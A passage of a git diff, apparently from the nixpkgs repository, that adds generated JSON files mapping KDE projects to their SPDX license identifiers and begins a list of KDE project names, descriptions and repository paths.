+ "GPL-2.0-only", + "GPL-3.0-only", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL" + ], + "kpipewire": [ + "Apache-2.0", + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL" + ], + "kpkpass": [ + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.0-or-later" + ], + "kplotting": [ + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-or-later" + ], + "kpmcore": [ + "CC-BY-4.0", + "CC0-1.0", + "GPL-3.0-or-later", + "MIT" + ], + "kpty": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-or-later" + ], + "kpublictransport": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.0-or-later", + "MIT", + "ODbL-1.0" + ], + "kqtquickcharts": [ + "BSD-3-Clause", + "CC0-1.0" + ], + "kquickcharts": [ + "BSD-2-Clause", + "CC0-1.0", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL", + "MIT" + ], + "krdc": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "krecorder": [ + "BSD-3-Clause", + "CC-BY-4.0", + "CC0-1.0", + "GPL-3.0-or-later" + ], + "kreversi": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-only" + ], + "krfb": [ + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL" + ], + "kross-interpreters": [ + "CC0-1.0" + ], + "kruler": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "krunner": [ + "BSD-2-Clause", + "CC0-1.0", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL" + ], + "ksanecore": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL" + ], + "kscreen": [ + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-or-later", + "LicenseRef-KDE-Accepted-GPL" + ], + "kscreenlocker": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.1-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL" + ], + "kservice": [ + "CC0-1.0", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL" + ], + "kshisen": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "ksirk": [ + "CC0-1.0", + "GPL-2.0-or-later" + ], + "ksmtp": [ + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.0-or-later", + "LGPL-2.1-or-later" + ], + "ksnakeduel": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "kspaceduel": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "ksquares": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "ksshaskpass": [ + "CC0-1.0", + "GPL-2.0-or-later" + ], + "kstatusnotifieritem": [ + "CC0-1.0", + "LGPL-2.0-or-later" + ], + "ksudoku": [ + "BSD-3-Clause", + "CC0-1.0" + ], + "ksvg": [ + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-or-later" + ], + "ksystemlog": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "ksystemstats": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL" + ], + "kteatime": [ + "CC0-1.0", + "GPL-2.0-or-later" + ], + "ktexteditor": [ + "BSD-2-Clause", + "CC0-1.0", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "MIT" + ], + "ktexttemplate": [ + "CC0-1.0", + "LGPL-2.0-or-later", + "LGPL-2.1-or-later" + ], + "ktextwidgets": [ + "CC0-1.0", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL" + ], + "ktimer": [ + "BSD-3-Clause", + "CC0-1.0" + ], + "ktnef": [ + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.0-or-later" + ], + "ktorrent": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-only", + "LicenseRef-KDE-Accepted-GPL", + "Qt-Commercial-exception-1.0" + ], + "ktouch": [ + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-or-later" + ], + "ktrip": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-3.0-only", + "LGPL-2.0-or-later", + "LicenseRef-KDE-Accepted-GPL" + ], + "ktuberling": [ + "CC0-1.0", + "GPL-2.0-or-later" + ], + "kturtle": [ + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later" + ], + "kubrick": [ + "CC0-1.0", + "GPL-2.0-or-later" + ], + "kunitconversion": [ + "CC0-1.0", + "LGPL-2.0-or-later" + ], + "kuserfeedback": [ + "BSD-3-Clause", + "CC0-1.0", + "MIT" + ], + "kwallet": [ + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-or-later", + "LGPL-3.0-or-later" + ], + "kwallet-pam": [ + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.1-or-later" + ], + "kwalletmanager": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LicenseRef-KDE-Accepted-GPL" + ], + "kwave": [ + "BSD-2-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "kwayland": [ + "CC0-1.0", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL", + "MIT" + ], + "kwayland-integration": [ + "CC0-1.0", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL" + ], + "kweather": [ + "Apache-2.0", + "BSD-3-Clause", + "CC-BY-4.0", + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.1-or-later" + ], + "kwidgetsaddons": [ + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LGPL-3.0-or-later", + "LicenseRef-KDE-Accepted-LGPL" + ], + "kwin": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL", + "MIT" + ], + "kwindowsystem": [ + "CC0-1.0", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL", + "MIT" + ], + "kwordquiz": [ + "CC0-1.0", + "GPL-2.0-or-later", + "GPL-3.0-or-later", + "LGPL-2.0-or-later" + ], + "kwrited": [ + "CC0-1.0", + "GPL-2.0-or-later" + ], + "kxmlgui": [ + "BSD-2-Clause", + "CC0-1.0", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL" + ], + "layer-shell-qt": [ + "BSD-3-Clause", + "CC0-1.0", + "LGPL-3.0-or-later", + "MIT" + ], + "libgravatar": [ + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.0-or-later" + ], + "libkcddb": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-or-later" + ], + "libkcompactdisc": [ + "CC0-1.0" + ], + "libkdcraw": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "libkdegames": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later", + "ICS", + "LGPL-2.0-only" + ], + "libkdepim": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-or-later", + "Qt-Commercial-exception-1.0" + ], + "libkeduvocdocument": [ + "BSD-1-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "libkexiv2": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "libkgapi": [ + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL" + ], + "libkipi": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "libkleo": [ + "BSD-3-Clause", + "CC0-1.0", + "GCC-exception-3.1", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-or-later", + "LGPL-2.0-or-later" + ], + "libkmahjongg": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "libkomparediff2": [ + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-or-later" + ], + "libksane": [ + "CC0-1.0", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL" + ], + "libkscreen": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.1-or-later", + "LicenseRef-KDE-Accepted-GPL" + ], + "libksieve": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "LGPL-2.0-or-later" + ], + "libksysguard": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL" + ], + "libktorrent": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later", + "MIT" + ], + "libplasma": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL", + "LicenseRef-Qt-Commercial", + "Qt-LGPL-exception-1.1" + ], + "lokalize": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.1-or-later", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-Qt-Commercial-exception-1.0" + ], + "lskat": [ + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.0-only", + "LGPL-2.0-or-later" + ], + "mailcommon": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL" + ], + "mailimporter": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-or-later", + "LicenseRef-KDE-Accepted-GPL" + ], + "marble": [ + "Apache-2.0", + "BSD-3-Clause", + "CC0-1.0", + "GPL-3.0-only", + "GPL-3.0-or-later", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-Qt-Commercial", + "MIT", + "Qt-LGPL-exception-1.1" + ], + "markdownpart": [ + "CC0-1.0", + "LGPL-2.1-or-later" + ], + "mbox-importer": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "merkuro": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "GPL-3.0-or-later", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LGPL-3.0-or-later", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL", + "LicenseRef-Qt-Commercial-exception-1.0" + ], + "messagelib": [ + "BSD-3-Clause", + "BSL-1.0", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL", + "Qt-Commercial-exception-1.0" + ], + "milou": [ + "BSD-2-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-3.0-only", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL" + ], + "mimetreeparser": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "FSFULLR", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL" + ], + "minuet": [ + "CC0-1.0" + ], + "modemmanager-qt": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-3.0-only", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL" + ], + "neochat": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC-BY-SA-4.0", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "GPL-3.0-or-later", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL", + "MIT" + ], + "networkmanager-qt": [ + "CC0-1.0", + "GPL-2.0-only", + "GPL-3.0-only", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL" + ], + "ocean-sound-theme": [ + "BSD-2-Clause", + "CC-BY-SA-4.0", + "CC0-1.0" + ], + "okular": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "GPL-3.0-or-later", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LicenseRef-KDE-Accepted-GPL", + "MIT", + "X11" + ], + "oxygen": [ + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL", + "MIT" + ], + "oxygen-sounds": [ + "BSD-2-Clause", + "CC-BY-3.0", + "CC0-1.0", + "LGPL-3.0-or-later" + ], + "palapeli": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-or-later" + ], + "parley": [ + "CC0-1.0", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.1-or-later", + "LicenseRef-KDE-Accepted-GPL" + ], + "partitionmanager": [ + "CC-BY-4.0", + "CC0-1.0", + "GFDL-1.2-or-later", + "GPL-3.0-or-later", + "LGPL-3.0-or-later", + "MIT" + ], + "picmi": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "pim-data-exporter": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-or-later" + ], + "pim-sieve-editor": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-or-later" + ], + "pimcommon": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-or-later", + "LicenseRef-KDE-Accepted-GPL" + ], + "plasma-activities": [ + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL", + "MIT" + ], + "plasma-activities-stats": [ + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL" + ], + "plasma-browser-integration": [ + "CC0-1.0", + "GPL-2.0-or-later", + "GPL-3.0-or-later", + "MIT" + ], + "plasma-desktop": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL", + "MIT" + ], + "plasma-disks": [ + "BSD-3-Clause", + "CC0-1.0", + "FSFAP", + "GPL-2.0-only", + "GPL-3.0-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL" + ], + "plasma-firewall": [ + "BSD-3-Clause", + "CC0-1.0", + "FSFAP", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "GPL-3.0-or-later", + "LicenseRef-KDE-Accepted-GPL" + ], + "plasma-integration": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-3.0-only", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL", + "LicenseRef-KFQF-Accepted-GPL", + "LicenseRef-Qt-Commercial" + ], + "plasma-mobile": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "GPL-3.0-or-later", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL", + "MIT" + ], + "plasma-nano": [ + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-or-later", + "MIT" + ], + "plasma-nm": [ + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL" + ], + "plasma-pa": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "GPL-3.0-or-later", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL" + ], + "plasma-sdk": [ + "BSD-2-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "LGPL-2.0-only", + "LGPL-2.0-or-later" + ], + "plasma-systemmonitor": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-3.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LGPL-3.0-or-later", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL" + ], + "plasma-thunderbolt": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL" + ], + "plasma-vault": [ + "CC0-1.0", + "GPL-2.0-only", + "GPL-3.0-only", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL" + ], + "plasma-welcome": [ + "BSD-2-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL" + ], + "plasma-workspace": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LGPL-3.0-or-later", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL", + "MIT", + "None" + ], + "plasma-workspace-wallpapers": [], + "plasma5support": [ + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-or-later" + ], + "plasmatube": [ + "CC-BY-SA-4.0", + "CC0-1.0", + "GPL-2.0-only", + "GPL-3.0-only", + "GPL-3.0-or-later", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL" + ], + "plymouth-kcm": [ + "BSD-2-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "polkit-kde-agent-1": [ + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-or-later" + ], + "powerdevil": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-only", + "LGPL-2.1-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL" + ], + "poxml": [ + "CC0-1.0" + ], + "print-manager": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL" + ], + "prison": [ + "BSD-3-Clause", + "CC0-1.0", + "MIT" + ], + "purpose": [ + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-or-later", + "LGPL-2.1-or-later" + ], + "qmlkonsole": [ + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-or-later" + ], + "qqc2-breeze-style": [ + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL", + "LicenseRef-KFQF-Accepted-GPL" + ], + "qqc2-desktop-style": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL", + "LicenseRef-KFQF-Accepted-GPL", + "LicenseRef-Qt-Commercial" + ], + "rocs": [ + "BSD-2-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL" + ], + "sddm-kcm": [ + "CC0-1.0", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL" + ], + "signon-kwallet-extension": [ + "CC0-1.0" + ], + "skanlite": [ + "CC0-1.0", + "GPL-2.0-only", + "GPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL" + ], + "skanpage": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL" + ], + "solid": [ + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.1-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL" + ], + "sonnet": [ + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.0-or-later", + "LGPL-2.1-or-later" + ], + "spectacle": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL" + ], + "step": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL" + ], + "svgpart": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "sweeper": [ + "CC0-1.0", + "LGPL-2.1-or-later" + ], + "syndication": [ + "BSD-2-Clause", + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-or-later", + "Qt-Commercial-exception-1.0" + ], + "syntax-highlighting": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "LGPL-2.0-or-later", + "MIT" + ], + "systemsettings": [ + "BSD-2-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "GPL-3.0-or-later", + "LGPL-2.0-only", + "LGPL-2.1-or-later", + "LicenseRef-KDE-Accepted-GPL" + ], + "telly-skout": [ + "BSD-2-Clause", + "CC0-1.0", + "LGPL-2.1-or-later" + ], + "threadweaver": [ + "CC0-1.0", + "LGPL-2.0-or-later" + ], + "tokodon": [ + "BSD-2-Clause", + "BSD-3-Clause", + "BSL-1.0", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "GPL-3.0-or-later", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL" + ], + "umbrello": [ + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "GPL-3.0-or-later", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LicenseRef-KDE-Accepted-GPL" + ], + "wacomtablet": [], + "xdg-desktop-portal-kde": [ + "BSD-2-Clause", + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL", + "MIT" + ], + "yakuake": [ + "CC0-1.0", + "GPL-2.0-only", + "GPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL" + ], + "zanshin": [ + "CC0-1.0", + "GPL-2.0-only", + "GPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "MIT" + ] +} diff --git a/pkgs/kde/generated/projects.json b/pkgs/kde/generated/projects.json new file mode 100644 index 0000000000000..e534519b216ab --- /dev/null +++ b/pkgs/kde/generated/projects.json @@ -0,0 +1,8078 @@ +{ + ".github": { + "description": "Please see https://docs.github.com/en/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file for more information", + "name": ".github", + "project_path": "sysadmin/.github", + "repo_path": "sysadmin/.github" + }, + "abakus": { + "description": "Simple, keyboard-driven calculator", + "name": "abakus", + "project_path": "playground/utils/abakus", + "repo_path": "utilities/abakus" + }, + "about-distro": { + "description": "Moved to KInfoCenter source.", + "name": "about-distro", + "project_path": "unmaintained/about-distro", + "repo_path": "unmaintained/about-distro" + }, + "accessibility-inspector": { + "description": "Inspect your application accessibility tree", + "name": "accessibility-inspector", + "project_path": "extragear/accessibility/accessibility-inspector", + "repo_path": "accessibility/accessibility-inspector" + }, + "accounts-qt": { + "description": null, + "name": "accounts-qt", + "project_path": "third-party/libaccounts-qt", + "repo_path": null + }, + "activities-support": { + "description": "Plugins for 3rd party applications to be able to support activities and Share Like Connect.", + "name": "activities-support", + "project_path": "unmaintained/activities-support", + "repo_path": "unmaintained/activities-support" + }, + "akademy-badges": { + "description": "Conference badge generation tooling", + "name": "akademy-badges", + "project_path": "community/akademy-badges", + "repo_path": "websites/akademy-badges" + }, + "akademy-checkin": { + "description": "Conference check-in management system", + "name": "akademy-checkin", + "project_path": "community/akademy-checkin", + "repo_path": "websites/akademy-checkin" + }, + "aki": { + "description": "Extensive IRC client for KDE4.", + "name": "aki", + "project_path": "unmaintained/aki", + "repo_path": "unmaintained/aki" + }, + "akonadi": { + "description": "Cross-desktop storage service for PIM data providing concurrent access", + "name": "akonadi", + "project_path": "kde/pim/akonadi", + "repo_path": "pim/akonadi" + }, + 